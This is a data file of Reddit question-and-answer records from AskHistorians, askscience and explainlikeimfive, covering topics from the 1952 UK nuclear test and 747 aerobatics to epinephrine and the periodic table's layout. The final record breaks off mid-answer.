{"q_id": "688j5f", "title": "What was the world's reaction like to the UK successfully testing its nuclear weapons in 1952, from its allies like the United States as well as the rest of Europe and the USSR?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/688j5f/what_was_the_worlds_reaction_like_to_the_uk/", "answers": {"a_id": ["dgwmzrs"], "score": [678], "text": ["Am I right in thinking the UK's Nuclear weapons were built with US assistance? Is the same true of France? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "22lbpb", "title": "How realistic is the threat of a \"digital dark age\"?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/22lbpb/how_realistic_is_the_threat_of_a_digital_dark_age/", "answers": {"a_id": ["cgny6pz", "cgo247u", "cgo26a1"], "score": [61, 5, 2], "text": ["This scenario makes no sense to me whatsoever. I've heard it mentioned before, but have never heard a good argument as to why it would happen.\n\n One example mentioned on the wiki is:\n\n >  For example, it is already the case that disk drives capable of reading 5 1\u20444 inch floppy disks are not readily available.\n\nSure the drives aren't *readily* available, but we could build a ton of them in a very short time if we needed to. Same will go for modern computers. We know how to produce the machines we are using right now. This will not change. It will always be the case that if we have to, we can go back and reproduce what machines/hardware/software we need to extrapolate data. I mean, it's not like Apple, Microsoft, HP, Toshiba, Intel, AMD ect. Don't keep records/copies/documentation on every piece of code they write, hardware they create, or machine they build. If something *needs* to be made backwards compatible we can always do it. Logically, this should not be a problem. \n\nI don't even think it will get to that point, though. The push for open source code and transparency within the computing community has taken off in the last 10 years. There's also a group called the [Internet Archive](_URL_0_) whose goal is to prevent the 'digital dark age'. They are sponsored by tons of huge companies and universities (Google, Microsoft, Yahoo, Harvard University, The University of Illinois, The Library of Congress) to name a few. \n\nThere are many problems that are going to arise in computing the next 50-100 years, I do not believe this is one of them.\n", "Consider 9-track tape drives. Once ubiquitous in computer centers, how many can you find today? I know of one place that still repairs them. He's still able to charge tens of thousands of dollars to oil companies who need a particular model with a particular interface in order to rescue their old seismo data. He's eager to retire. What happens to that knowledge?\n\nSure, there are several ways to build a new mechanism to read old tapes. It takes time, effort, desire, and cash. Also good docs on old methods. Some of it is easier now that computing power is cheap, some of it is still the same mechanical problems as forty years ago. Who steps forward to do all that?", "This is an interesting topic, and the evident passion of those discussing it is a good thing to see.\n\nI know a thing or two about computing, and there are two points i would like to make. \n\nFirst, when it comes to computing, there are no rules. If you think that a rule exists which is absolute, there is always a way around that rule. This is a very broad and general statement, but try to see how it applies to the current debate. \n\nSecond, and this point is not exclusive to computing, where there is a will there is a way. Anyone who is truly dedicated to an effort, though they may fail, their effort will inspire others to pick up where they left off. There are few challenges to human ingenuity that remain a challenge for very long."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Internet_Archive"], [], []]}
{"q_id": "1gjmb5", "title": "What credibility is there behind speculation that Warren G. Harding was poisoned (particularly by his wife)?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1gjmb5/what_credibility_is_there_behind_speculation_that/", "answers": {"a_id": ["cal97e6"], "score": [3], "text": ["This is the first I have ever heard of this, and I love to read about conspiracy theories.\n\nWhere did you hear this from, and tell us the story."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2pyzva", "title": "how do astronauts get paid?", "selftext": "Long story short, I just finished reading \"The Martian\", and it got me wondering: if an astronaut was stuck in space for a long time, would they continue to get paid?\n\nThen I started wondering, how in the hell do astronauts get paid?  Are they salaried or hourly? Are they paid one lump sum for a mission?  And then in the spirit of the question, do hey get any equivalent of overtime or bonuses if their missions go on longer than expected?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2pyzva/eli5_how_do_astronauts_get_paid/", "answers": {"a_id": ["cn1au7t"], "score": [15], "text": ["Astronauts are paid a salary, and those who come from the military remain in an active duty status for pay, benefits, leave, and other similar military matters. If it's a salary I would assume that they would get bi-weekly/monthly deposits into their bank accounts. Just because they're in space doesn't mean the space agency can make up their own rules for employment/benefits... it would depend on the government regulations in place from that country (ex-astronauts employed by NASA would get pay/benefits/overtime regulated by the American government)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1fc6k7", "title": "What is the professional consensus on Adam Curtis and his series of documentaries (The Century of Self, The Power of Nightmares, et al.)?", "selftext": "Does he present the historical narrative accurately or does he make too many unwarranted leaps of logic?", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1fc6k7/what_is_the_professional_consensus_on_adam_curtis/", "answers": {"a_id": ["ca8v463", "ca8yk2k"], "score": [7, 8], "text": ["A pair of links for those who are unfamiliar with the documentaries in question:\n\n* [*The Century of the Self*](_URL_1_), BBC 2002.  Contains all 4 episodes.\n\n > The Century of the Self is an award-winning British television documentary series by Adam Curtis. It focuses on how the work of Sigmund Freud, Anna Freud, and Edward Bernays influenced the way corporations and governments have analyzed,\u202d dealt with, and controlled \u202cpeople.\n\n* [Trailer for *The Power of Nightmares*](_URL_0_), BBC 2004.  Concerns events post-1993.\n\n > The film compares the rise of the Neo-Conservative movement in the United States and the radical Islamist movement, making comparisons on their origins and claiming similarities between the two.", "His style is high-impact, which obscures how often he drifts into conspiracy theory and/or poor reasoning.\n\n[This video parody of his style does a good job of explaining this tendency.](_URL_0_) I think anyone who has studied an area he covers will appreciate how simplifying his narrative tends to be, almost always to the detriment of the viewer's understanding of the topic at hand.\n\nThe take away: His narrative is often unsupported by the events he portrays, and/or those events are unrelated to the narrative. He paints a simplified, often dystopic and whiggish history, which will upset most historians, economists and game theorists who know better."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.youtube.com/watch?v=EaLPFayD8FA", "http://www.youtube.com/watch?v=s7EwXmxpExw"], ["http://www.youtube.com/watch?v=x1bX3F7uTrg"]]}
{"q_id": "10ytwb", "title": "Could a Boeing 747 preform a vertical loop, given enough air space?", "selftext": "Or would it simply be torn apart?  What about a barrel roll?  Would a pilot even be able to remain conscious?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/10ytwb/could_a_boeing_747_preform_a_vertical_loop_given/", "answers": {"a_id": ["c6ht75h", "c6hz7a4", "c6i1yur"], "score": [5, 12, 11], "text": ["_URL_0_\n\n > Peter Merton, Resident Research Officer at the Imperial War Museum at Duxford. \n\n > The simple answer is frankly, no.  The critical points about, well not just modern passenger jet airliners but airliners built in the past during the 20s and 30s coming forward in time is that they are designed to be load carriers.  So they are designed to withstand the quite severe adverse weather conditions, to be able to carry passengers and cargo in safety and especially now-a-days of course with the long-range jets to carry a lot of fuel.\n\n > So they are perfectly capable of some quite violent manoeuvres in terms of things like steep turns and I have seen them being flown with a very graceful positional flying, doing quite steep dives and climbs but not of course with passengers or cargo on board.  This is the big difference that they are designed to be strong and robust and particularly to have a good survivability factor in case of an accident or a crash landing whereas the purpose designed aerobatic aircraft or even other aircraft types like fighter aircraft, can cope with the stresses and that is the critical difference really.", "Short answer: no.\n\nLong answer:\nThe design of the aircraft would not allow for it. Aircraft are designed to be maneuverable, stable, and anywhere in between. Aerobatic aircraft can do rolls and flips and all that fancy stuff because they are maneuvrable, but they're quite unstable and difficult to control. They also undergo huge G-forces and are quite heavily overdesigned.\n\nA 747 (and most other airliners) is designed to be stable. This means it is \"easier\" to maintain a straight path, and means the entire aircraft doesn't suddenly lurch to the left when the pilot turns or when flying into a crosswind. It also reduces the Gs being exerted on the aircraft itself, so you can design the aircraft with much fewer weighty components (spars, ribs, etc.) which saves on fuel (also for passenger comfort, since not all people are adept at taking high Gs).\n\nThen there are physical limitations. Because of its inherent stability, a 747 would require a very large radius to even begin the loop. The problem is the radius would be so large that, as it approaches any significant angle, the forces allowing it to fly \"up\" (thrust and lift) would not be enough to counter the forces pushing it back down (drag and weight). I can make a diagram showing what I mean, but there will be an angle when the aircraft will begin to decelerate and eventually stall.\n\nEdit: Now with picture: _URL_0_\n\nAs you can see, there will be a point where the forces in the vertical direction mean the aircraft will accelerate downwards (slow down). Specifically, the lift will contribute less and less to upwards acceleration, and drag will contribute more down. Thrust is not enough to oppose all these forces (for a 747-400, there is up to 900kN in total thrust); if we assumed the aircraft somehow reached 90 degrees pitch, then the only upwards force is thrust, which does not nearly match the 2300-2400kN weight force (not to mention drag, and eventually negative lift).", "Ex 747 pilot here, now 777. Yes you could. But you'd have to have max thrust, and push the nose over, accelerate to close to vmo, then pitch up fairly rapidly, quick enough so your speed wouldn't drop to the point that your elevator doesn't run out of authority, not too quick that you exceed your max angle of attack. Once you have it past the 90 degree point, you're laughing. Never done it in the airplane, just in the sims when we had extra time."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.thenakedscientists.com/HTML/content/latest-questions/question/2289/"], ["http://i.imgur.com/M1Dqi.png"], []]}
{"q_id": "1tv78h", "title": "Why didn't Australia, or many other commonwealth countries, embrace soccer as their primary football code?", "selftext": "Been watching the cricket all day, started thinking about Australia's rivalry with England in the cricket. Then about how England exported sport to their colonies. Rugby has quite a long history in Australia and Australian Rules was invented as our own game, but soccer is only relatively new to the sporting discourse in Australia, where it's known mostly as a migrants game. Why was it not embraced as the primary football code in Australia during the early late 19th and early 20th century when AFL, cricket and rugby became the dominant sports in Australia? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/1tv78h/why_didnt_australia_or_many_other_commonwealth/", "answers": {"a_id": ["cebrxan"], "score": [3], "text": ["not discouraging anyone from contributing on the relative unpopularity of soccer in Australia, but FYI, there have been a several posts about football codes. I've included all the threads that include at least some mention of Australia:\n\n[Why isn't Soccer the most popular sport in the former 'white' dominions of the British Empire?](_URL_1_)\n\n[Can anybody explain when and how rugby, football, soccer, etc. developed?](_URL_4_)\n\n[Why did soccer become more popular in Europe than in America?](_URL_2_)\n\n[How did the dominant sports in the USA come to be so different from the rest of the world?](_URL_0_)\n\n[Why and how did football (soccer) skip India?](_URL_3_)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.reddit.com/r/AskHistorians/comments/1f731k/how_did_the_dominant_sports_in_the_usa_come_to_be/", "http://www.reddit.com/r/AskHistorians/comments/yzglf/why_isnt_soccer_the_most_popular_sport_in_the/", "http://www.reddit.com/r/AskHistorians/comments/1bdrn2/why_did_soccer_become_more_popular_in_europe_than/", "http://www.reddit.com/r/AskHistorians/comments/1lis3f/why_and_how_did_football_soccer_skip_india/", "http://www.reddit.com/r/AskHistorians/comments/17ofbu/can_anybody_explain_when_and_how_rugby_football/"]]}
{"q_id": "6a92yy", "title": "why can children sleep through being lifted out of a car and carried inside, whereas i would wake up immediately if someone lifted me out of bed?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/6a92yy/eli5_why_can_children_sleep_through_being_lifted/", "answers": {"a_id": ["dhd6f00"], "score": [5], "text": ["Maybe because the person picking you up isn't 10 times your size so it wont go with the same ease?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "2cwe11", "title": "Is there a history of slavery in Asia (specifically in China, Japan and/or India)? If so, how did it end?", "selftext": "", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/2cwe11/is_there_a_history_of_slavery_in_asia/", "answers": {"a_id": ["cjjvleg"], "score": [5], "text": ["Slavery existed in China, primarily before the 1st Imperial Dynasty of Qin, which unified China as an empire.\n\nPrior to the Qin Unification 232 B.C., various feudal Chinese Kingdoms practiced slavery to some extent, where slaves are considered to be property, (1) can be bought /sold, (2) can be killed by owner, sometimes sacrificed ritualistically, (3) have less legal protection than citizens.\n\nHowever, during the 550 years of civil war before the Qin Unification, (Spring Autumn period and Warring Nations period), Slavery fell out of fashion in China, for many reasons:\n\n(1) logistic difficulties:  Slavery requires extensive tracking of identities of slaves.  With constant war in China, it became simply impossible to keep track of all the slaves for very long.  Rival Kingdoms would not necessarily recognize each others' slaves.  Slaves who ran away could easily gain freedom by pretending that they were free all along.\n\n(2) Easy ways for slaves to gain freedom.  Even in that time, Chinese began some basic forms of meritocracy systems, where even slaves could gain freedom or title by achievement.  As war grew, many Chinese Kingdoms enlisted slaves as soldiers with promises of freedom.\n\n(3) Rise of classic Chinese philosophies.  Many classic Chinese philosophies preached against slavery.  Legalism taught that people should be equal before the law.  Legal reforms introduced by Qin China effectively freed all slaves, simply because the Qin Emperor didn't want to share the power over life and death with Feudal lords.  Confucius also emphasized that Education and Virtue are more important than a person's birth status.\n\n(4) Population growth.  China experienced significant population because of its advanced in Agriculture.  It made slavery non-economical as a way to increase labor.\n\n(5) Communal approach to organized production.  Chinese communities organized efficiently around communities of clans of related families.  Farming, industries, trade, all took on approaches/processes around this type of familial organizations.  Introduction of slaves would actually disturb the normal efficiency of the process.  Slaves would thus be regarded as more of a burden than a \"help\".\n\n(6) Confucius abhorrence toward \"barbarians\".  Post Unification Qin China feared the \"Barbarians\", and tried to avoid them at all costs.  Chinese Emperors thereafter, rarely bothered to send military expeditions outside to tame the Barbarians, and thus, rarely ever had any opportunity to take slaves from outside (unlike the Romans).\n\nTechnically, slavery didn't official \"end\" in China, until the 1900's.\n\nOccasionally, some slaves were still traded in China, but the laws were very murky, somewhere in between legality and illegality regarding slavery.\n\nHowever, slave trade never reemerged in significant size in post Qin China, because simply there was little or no market demand for slaves."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "fnzxr5", "title": "Why were English Presbyterians considered nonconformists?", "selftext": "It seems that due to the fact the Church of Scotland was Presbyterian and that they shared a monarch and later a country with the Church of England, that English Presbyterians would have been offered some sort of special status. Why were they relegated to a second-class Citizenship status in England when the official religion of a good chunk of the country was Presbyterianism?\n\nAlso why was there never legal protection for them like there was for the Scottish Episcopalians?\n\nThank you.", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/fnzxr5/why_were_english_presbyterians_considered/", "answers": {"a_id": ["fld55ht"], "score": [10], "text": ["While the Scottish church was Presbyterian when James I inherited the English throne, his personal sympathies lent more towards episcopacy. \n\nWhereas the English Reformation generally served to consolidate royal authority, the Scottish Reformation had centred more around the aristocracy and had produced a body of 'Resistance theory' from Presbyterian writers like John Knox and George Buchanan. This was reflected in the ecclesiological structures of Bishops, which were seen to mirror and support royalty, compared to Presbyteries, which were often conceived of in an almost proto-democratic way.\n\nTherefore, James favoured episcopacy for political reasons, which he famously summarised with the phrase 'no bishop, no king'. So paradoxically, his ascent to the throne saw Presbyterians in England have their influence reduced compared to in Elizabeth's time, and also saw James attempt to roll back Presbyterianism with mixed success in Scotland.\n\nHis son Charles shared these views, and tried to impose episcopacy in Scotland, which the Scots resisted, drawing up a 'National Covenant', which would essentially serve as the constitution for a Presbyterian Scottish regime which would exist in various forms until Cromwell defeated it in 1651. In 1643 this regime would agree a 'Solemn League and Covenant' with the English Parliament, which mandated for the expansion of Presbyterianiam to England, and invaded England to fight Charles. However, later both Charles and his son Charles II would agree to the SLC to secure the support of the Scots, but lost to Cromwell anyway.\n\nWhen the monarchy was restored in 1660, therefore, many Presbyterians hoped for either a fulfilment of the Solemn League and Covenant or at least some kind of accomodation for Presbyterians. There was a lot of discussion of some sort of 'moderate episcopacy' or compromise with Presbyterians, but in the end the Episocopalians came out on top and Presbyterianism and the SLC were excluded from the Restoration settlement. Again, it was primarily the issue of the political implications of Presbyterianism that proved the sticking point, as the feeling in Charles II's government was that Presbyterianism was dangerous and the SLC a charter for rebellion.\n\nDespite this, there were actually several attempts at extending toleration to Presbyterians and other dissenters in the Restoration period, but these failed, partly due to opposition from Anglicans and partly because Presbyterians felt that they couldn't accept toleration offered by the king, as to do so would be to acknowledge he had the right to dictate in matters of religion, which they didn't accept."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "7s216r", "title": "how does rotation work?", "selftext": "What I mean is, when you rotate a solid object (let's say a Frisbee), the outside has to travel further (and at a greater speed?) than the inside. Yet the object is solid... So, how does that work? Thanks!", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7s216r/eli5_how_does_rotation_work/", "answers": {"a_id": ["dt1diar", "dt1dm7d", "dt1giwk", "dt1h5ns", "dt1m1mg"], "score": [4, 4, 3, 3, 2], "text": ["The outer edge travel farther forward, then farther backward, so the same distance on average. Thus it doesn't separate from the center.", "The outside moves along a different path than the center.  The outside path is longer, so the outside bits need to go faster to \"keep up\" with the rest of the disc.", "Yes, it travels at a greater speed. It works by math. Speed = Distance / Time. It has a longer distance to travel, in the same amount of time, which results in a larger value for the speed calculation.\n", "While the distance/speed may be greater if you measure by *length*, when you measure the *angle* of rotation, that's constant for all parts of the object.  Every part of a rigid object has the same *angular velocity* - just look at a record spinning.\n\n", "While the velocity of the outside of the Frisbee is greater than the inside, the rotational velocity of both points are the same. If you're spinning a Frisbee at 1,000 rpm, both points are rotating at the same speed.\n\nBeyond that, can you specify what you're asking for? "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "1y8gwy", "title": "What was the first man made signal to leave earth, and how far has it traveled by now?", "selftext": " ", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1y8gwy/what_was_the_first_man_made_signal_to_leave_earth/", "answers": {"a_id": ["cficdzt", "cfid74l", "cfie4ja", "cfikkpd", "cfiol1y"], "score": [24, 4, 2, 5, 4], "text": ["EDIT: I feel like I have to clarify what I mean with what I write down here. I'm **not** saying that Hughes' transmissions was in any way meant as signals to space. I'm **not** saying that the signals could be picked up 30 parsecs away. I'm **simply** stating **what the first known radio transmission was, and how far it would have travelled in case the signal made it out to space.** I'm **NOT** saying that it **did** make it out to space! There is no way we can know!\nEDIT again: **If you don't agree, state so in a comment, don't just downvote! Speak your mind, correct me if you feel like it. But don't just shut up and downvote!**\n\nThe first intentional wireless transmission of a signal was most likely done in an experiment performed by David Edward Hughes around 1880. Some of that energy might have left the earth (however, the Ionosphere do block some signals, I'm not sure whether or not that transmission really could have made it out to space), and if so have been travelling through space ever since, some 132 years or so. As it turns out, radio signals travel with the speed of light, so it will have travelled 132 light years by now, or about 30 parsecs. That's 1.2298 x 10^15 kilometers, or 7.6420 \u00d7 10^14 miles. Or about 30.68 billion times around the equator. Sounds like a lot, but our galaxy is a whopping 100,000 to 120,000 light years in diameter.  However, the signal will have passed a lot of stars already, many which are known to have planets, such as Gliese 674, Gliese 832 and Gliese 876. It passed Sirius, the brightest star in the sky, only about eight and a half year after being transmitted.\n\nThe first radio broadcast that was intended to be sent to extraterrestrial civilisations was transmitted on November 19, 1962 by a Soviet planetary radar. The transmitted message was \"MIR\" (means \"peace\" and \"world\"), \"LENIN\" and \"SSSR\" (Acronym for the Soviet Union). This message is commonly referred to as The Morse Message. Having travelled for a little more than 51 years, which means it has travelled little more than 51 light years or 4.8248 x 10^14 km, it will have travelled past the stars I mentioned in the first paragraph. \n\nEdit: added some more facts.\n\nEdit again: To those of you downvoting, would you please provide a comment on *why* you're downvoting, so I can increase the quality of my posts?", "The first man made signal to leave Earth would have been a radio wave. The equations which describe radio waves (and light in general) were first predicted in the 1870s and the first (intentional) transmissions were made in the 1880s. The exact transmission which was first strong enough to leave Earth certainly can't be known, but it happened sometime that decade. SwedishBoatlover has the math on the distance.\n\nThese doesn't answer your question, but they're certainly relevant. Hope you find them interesting!\n\n[Interstellar Memes (xkcd)](_URL_0_)\n\n[How Far Have Radio Signals Traveled From Earth?](_URL_1_)", "Although fictional, in Carl Sagan's novel *Contact*, he postulates that the opening ceremony of the 1936 Olympics was the first television signal powerful enough to escape the Earth's ionosphere. In the story an alien civilisation in the constellation Vega is able to relay the signal back with a round trip of around 50 years. \n\nAs the real signal left Earth 78 years ago, you can expect if this scenario was to happen tomorrow we could expect a reply from any system within about a 39 light year radius, which considering the Milky Way spans about 100,000 light years isn't very far. The closest habitable planet candidate systems that the signal will have passed by now include Gliese 581 and 667 which are approximately 20.2 and 23.6 light years away from Earth, respectively. ", "This is one of those questions that doesn't have a meaningful answer unless you make a bunch of assumptions.\n\nFirst off...  \"man made\" is not exactly a well defined concept.  We (on earth) are all causally linked, simply by the virtue of being matter that's in relative proximity.\n\nSecondly...  \"leave the earth\".  I suspect you meant to say \"is detectable at some fairly large stellar distance\" but even that is now vague because you need to assume something about the sensitivity of the detector, the background noise in the area you're trying to recover the signal from and how far away you're trying to get the signal from.  We have currently indirectly observed a number of exoplanets.  We know that the planets are there.  Imagine if, in the future, we're able to tell the atmospheric composition of such planets.  Would the industrial revolution then count as the first \"man-made signal to leave the planet\"?  Because a sharp, non-periodic change in the atmospheric composition in any planet would strongly suggest a drastic change in a planet's biosphere - caused either by physical processes like an asteroid collision or by intelligent life forms that are rapidly expanding and throwing their ecosystem off balance.\n\nIf you were thinking of something closer to an actual radio transmission - you could accept /u/SwedishBoatlover's answer for the first intentional radio transmission.  Or you could presume that an alien capable of receiving that weak radio transmission in a nearby system would be able to read the 50hz/60hz ELF radiation coming off of our entire electric transmission grid.\n\nYou see how this question quickly turns into a quagmire?", "Humans were making fires approximately 1 million years ago.  The light emitted by these fires is electromagnetic radiation identical to radio waves except in wavelength.  I would argue that these were the first man made signals to leave earth."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://xkcd.com/1212/", "http://zidbits.com/2011/07/how-far-have-radio-signals-traveled-from-earth/_"], [], [], []]}
{"q_id": "9xzo6w", "title": "Can you have too little epinephrine?", "selftext": "[deleted]", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/9xzo6w/can_you_have_too_little_epinephrine/", "answers": {"a_id": ["e9xo1i8", "e9yipzg"], "score": [2, 3], "text": ["Epinephrine/adrenaline is used when your sympathetic nervous system is activated. after a fight/flight response your levels of epinephrine will be lower than normal which will inhibit phosphorylase B kinase (an enzyme that activates the key enzyme in glycogen synthesis)- therefore the result will be a decrease in glycogen synthesis . \n\nGlucose is stored as Glycogen in the liver and is used when you need energy (depleted after 10-12 hours). If you stop glycogen synthesis then your glycogen stores will be depleted faster aka if you exercise or don\u2019t eat for a few hours you\u2019ll get lightheaded and exhausted ", "So it depends on which organ we talk about.\nAs you surely know our body is always in a balance between the parasympathetic and sympathetic nervous system (PSNS and SNS from here on) and lowering epinephrine will lower the SNS influence and thus allow the PSNS to prevail. When the PSNS dominates you may experience the following:\n\nHeart and Vascular System: low blood pressure and slow pulse - >  if too low - >  dizziness, nausea, fatigue all the way up to unconsciousness and potentially death (due to low cardiac output).\n\nMusculoskeletal System: fatigue, muscle weakness.\n\nBlood system: low glucose levels \u2014 >  fatigue upto unconsciousness and death\n\nCentral nervous system: lethargy, depression, issues with memory retention and much more\n\n\n\n\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "a6ob3e", "title": "why is there the two rows of elements that don't fit in on the periodic table? how do these 20 or so elements fit into those two single spots?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/a6ob3e/eli5_why_is_there_the_two_rows_of_elements_that/", "answers": {"a_id": ["ebwkgym", "ebwkljw", "ebwmpzo", "ebwslkc", "ebwtpc3", "ebwtrfs", "ebx0ot2", "ebx0t32", "ebx1pt6", "ebx1q4m", "ebx1tqx", "ebx24yv"], "score": [6269, 8, 267, 292, 55, 48, 2, 3, 7, 5, 18, 5], "text": ["Are you talking about the lantanides and actinides that are usually drawn below the periodic table?\n\nThey don't actually sit outside of it, the real periodic table looks like [this](_URL_0_), but it's generally too wide to be useful so those two groups of elements are grouped below the periodic table.", "The periodic table is divided up into rows and columns that share similar characteristics, especially when looking at configuration of electrons. Those two rows, lanthanides and actinides, have F orbitals, which are far more complex than the S, P, or D orbitals that the rest of the elements have. This gives them drastically different properties that don\u2019t fit in line with the format of the rest of the table", "the periodic table is a bit like a pyramid. There are more elements every other row.\n\n* The 1st row has only 2.\n* The 2nd and 3rd row have 8 each.\n* The 4th and 5th row have 18 each.\n* The 6th and 7th row have 32 each.\n\nIf it weren't for things braking down and being to radioactive and shotlive to allow for chemistry, this trend would be expected to continue for further elements.\n\nThe explanation is a bit iffy, but the ELI5 version is that chemistry is determined by the way electrons are distributed around an atom. Similar distribution of electrons mean similar chemical behavior.\n\nThe columns in the periodic table represent electrons in a similar configuration. \n\nThe name of the element is determined by the number of protons it has in its core. Since protons are positively charged and electrons are negatively charged, an atom that is neither missing or has too many electrons has exactly as many electrons as it has protons.\n\nThe protons are all in the core and don't matter much for chemistry but the electrons surrounding the core are the important bit.\n\nElectrons are arranged in rather complicated ways, but one metaphor is that they orbit the core in shells. The innermost and smaller shells get filled up first and what is left in the outermost shells does the chemistry bit.\n\nThe most inner shell has only room for two electrons. Which is why the first row only has room for hydrogen and helium.\n\nAn element with 3 or more protons and therefore three or more electrons needs to star putting them in shells further out.\n\nAs you can imagine from the metaphor a large shell further out has more room than a smaller inner shell, so it takes more electrons to fill it up.\n\nThis is why the rows in the table keep getting bigger.\n\nAll elements that a have a full outer shell. have no reason to borrow electrons from anywhere and thus don't really bond with anything much and are chemical unreactive. This is why all the elements on the rightmost column act more or less the same and are grouped together as noble gases.\n\nAll elements that are missing just one electron to be full, fall into the group right next to it. Theses halogens react in similar manner with other elements, producing salts with metal and so on.\n\nOf course since each additional shell has more room the higher you go the more variation there can be.\n\nThis is only a very ELI5 version the real stuff is far more complicated.", "It's just how the periodic table is set out usually. There are various other ways of setting it out [including some](_URL_0_) that [are circular](_URL_1_).\n\nThe layout comes from solutions to an equation in Quantum Mechanics; as you go down the table (so allow for more electron energy levels) the possible number of electrons goes up quite a bit. It is 2 at the lowest energy level, then 8 for the next, then 18, then 32, then 50 (although I don't think anyone has managed to get something with that many electrons).\n\nThere's a diagram demonstrating this (kind of) [here](_URL_2_); as you allow for more electron layers, you can start adding in a lot more electrons.\n\nAlthough as with most things it is a bit more complicated.", "They do fit in, but are put at the bottom so the whole thing wouldn't get too stretched out. It's done like this just so it looks better. Otherwise it would look like this:\n\n_URL_0_", "I'm a HS chemistry teacher and while many answers here are correct a 5 year old would have no idea what you are talking about. \n\nThe extra 2 rows save space print them on the bottom. They have negative spinny things that spin differently from the others. They like the letter f ", "First, let's understand the periodic table.  Imagine I gave you a bunch of square/cube blocks of different colors, weights, and properties (originally compounds they formed with oxygen).  If I asked you to sort them there would be a handful of ways to sort them: order them by weight, group the colors together, how they react with oxygen.  Only one of these sorting methods will actually have them all together, so let's order them by weight.\n\n & #x200B;\n\nNow let's imagine we have all of these blocks ordered by weight: H He Li Be B C N O F... all the way through to the end.  Now that we have them all lined up, we realize there is a pattern.  We start to see periodic trends, in the beginning, we see that every eighth marble is the same color and acts the same.  So now we start stacking them, this is how the periodic table is formed.  Upon getting about 26 blocks in the trend changes, but again we see similarities if we keep going... so we've just formed the d-block.  About 60 or so in, we see another change and everything starts to react similarly.  That's the simple version of how we form the periodic table, we just notice trends as weight continues to increase.  The d-block and f-block are no different.  it extends the periodic table as the top post has mentioned.  That's why they belong where they do... they simply don't fit the pattern so we create a new group with them.\n\n & #x200B;\n\nThe lanthanide \"blocks\" are all going to be similar,  but we can still order them by weight.  They all act the same, so we keep them together... yes they do act as a group 3 element for the most part, mostly with a +3 oxidation state.  They are very condensed or \"hard\" according to the old way of talking about polarizability.  So they do fit together with each other, but we order things by mass, and build it from there... stack them based on properties.  They do fit as we look at properties.", "I've seen a number of \"they're not outside of the main part of the periodic table\" (and related statements) with pictures of alternative periodic tables, but every example that I've seen provided so far doesn't do a good job at demonstrating this at all.\n\nPlease consider the [left step periodic table](_URL_1_).  To me, I think it most clearly demonstrates the patterns seen in the periodic table.  Most simply, start with hydrogen near the top right.  You have two rows of the same number of elements before you reach the next row and add on four more (for the p orbitals), then two rows later you add on four more (for the d orbitals), and finally two rows later you add on for more (for the f orbitals, that were initially described as \"not fitting\").  Continuing this pattern, you'd expect a new set of orbitals to exist with another four elements added per row, and that's exactly what we consider when doing calculations in other areas of chemistry that consider further orbitals.\n\n(Really, these are just patterns and operations in math that happen to be applied to real-world implementations, like the orbitals of elements.)\n\nSo I feel like with the left step table, not only does it show how they fit perfectly, but how you'd even expect further elements to be organised.\n\n(I'm sorry for any confusing bits and organisation to this reply; feeling sick and crawled out of bed for a few minutes, drowsily writing this response.  Perhaps a better explanation would be given in my reply to an old question [here](_URL_0_).  Back to bed now.)", "A lot of eli35 answers here. The table is actually much wider than usually drawn. We cut those 20-odd elements out and put them underneath so that the table can fit on a page. Widen the table out where those two spots are, slot the extra elements in, and you're back at the 'real' table.", "Go to _URL_0_ , turn your phone sideways and click WIDE in the upper right corner. \n\n***The elements do all fit into the PT.  They are organized logically by their electron configuration. The PT just fits more nicely on a standard size piece of paper if you cut the f block out and place it underneath. ", "The modern periodic table is actually quite an amazing predictor for chemical properties of matter, but we didn't know about all of the elements as it was being conceived, and nature doesn't have a symmetric, visually-pleasing balance of elements. The rows to which you are referring actually slide up and squeeze into the main table, but drawing it that way isn't helpful. \n\nIt's very similar to a globe or a cartesian map, especially if you think of the United States: we often display maps of the US with both Alaska and Hawaii in the lower left corner, cut out and pasted into the Pacific Ocean so we can just fit all of the states in a nice little rectangle. If you really look into all of the families and periods, pay attention to electron cloud properties, properties of metals, etc, the table really is laid out brilliantly. \n\nIt does take a bit of effort to understand how to interpret it all, but if you are interested in learning chemistry, or even just taking a high-school or college-level class, it is worth studying. ", "So, that other dude explained it like you already know chemistry.  I'm going to explain it in a slightly less accurate, but more suitable for a five year old, way.\n\nSo basically, the periodic table is grouped like it is because we think it'd be most useful that way.  There are columns of elements called groups, and these usually indicate specific things about the elements in that group.\n\nThe elements that are 